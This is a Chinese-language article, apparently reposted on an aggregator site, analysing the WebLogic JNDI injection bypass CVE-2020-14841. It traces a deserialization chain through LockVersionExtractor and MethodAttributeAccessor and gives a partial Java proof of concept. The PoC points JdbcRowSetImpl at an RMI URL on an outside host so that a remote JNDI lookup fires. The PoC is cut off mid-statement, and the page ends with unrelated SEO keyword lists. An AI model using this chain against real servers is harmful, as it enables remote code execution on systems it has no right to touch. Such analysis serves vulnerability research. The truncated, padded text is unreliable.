如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析
发表于:2025-11-07 作者:千家信息网编辑
千家信息网最后更新 2025年11月07日,这篇文章将为大家详细讲解有关如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解
千家信息网最后更新 2025年11月07日如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析
这篇文章将为大家详细讲解有关如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
简介
通过diff 升级包中weblogic的黑名单,我们发现新增了这个类:
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
LockVersionExtractor 分析
package oracle.eclipselink.coherence.integrated.internal.cache;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;
public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
protected AttributeAccessor accessor;
protected String className;
public LockVersionExtractor() {
}
public LockVersionExtractor(AttributeAccessor accessor, String className) {
this.accessor = accessor;
this.className = className;
}
public Object extract(Object arg0) {
if(arg0 == null) {
returnnull;
} else{
if(arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}
if(!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}
returnthis.accessor.getAttributeValueFromObject(arg0);
}
}
我们可以从代码上看出来,类似与 cve-2020-2555,用法也都是一样的。触发漏洞的重点在于this.accessor.getAttributeValueFromObject 中。下面选取一个可能的执行路径
package org.eclipse.persistence.internal.descriptors;
public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = "";
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
returnthis.getAttributeValueFromObject(anObject, (Object[])null);
}
protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if(PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
returnAccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} catch (PrivilegedActionException var5) {
Exception throwableException = var5.getException();
if(throwableException instanceof IllegalAccessException) {
throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
} else{
throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
}
}
} else{
returnthis.getMethod.invoke(anObject, parameters);
}
MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于,只能执行无参的函数,从这点来看,我们很容易的与七月份 cve-2020-14645 联想起来
所以照猫画虎 poc如下
POC
// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");
MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");
LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue
关于如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
分析
内容
函数
文章
更多
知识
篇文章
不错
照猫画虎
代码
月份
漏洞
简介
缺点
质量
路径
重点
黑名单
黑名
升级
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
异度之刃世界树数据库
软件开发 外包 合同模版
大学生学习网络安全课程
商城改销量数据库
局网络安全考核制度
国泰安数据库包括港股吗
网络安全情况综述
怎么组建家庭存储服务器
对话网络安全系统比赛
网络安全主要方面有哪些
信息网络安全会议报告
3204服务器cpu评测
软件开发需要学什么证书
买车砍价软件开发
镇江网络安全准入控制系统供应商
应用和数据库部署安全
怎么查看电脑服务器访问的记录
网络安全技术服务合同范本
怎么远程重启数据库
盐城软件开发哪家服务好
网络安全销售待遇怎么样
软件开发中的项目
软件开发社团适合的logo
网络安全询问提纲
Python连接数据库应用
sql数据库表格无法删除列
焦煤培训管理服务器ip
软件开发组织有哪些
怎么查看电脑服务器访问的记录
vb录入到数据库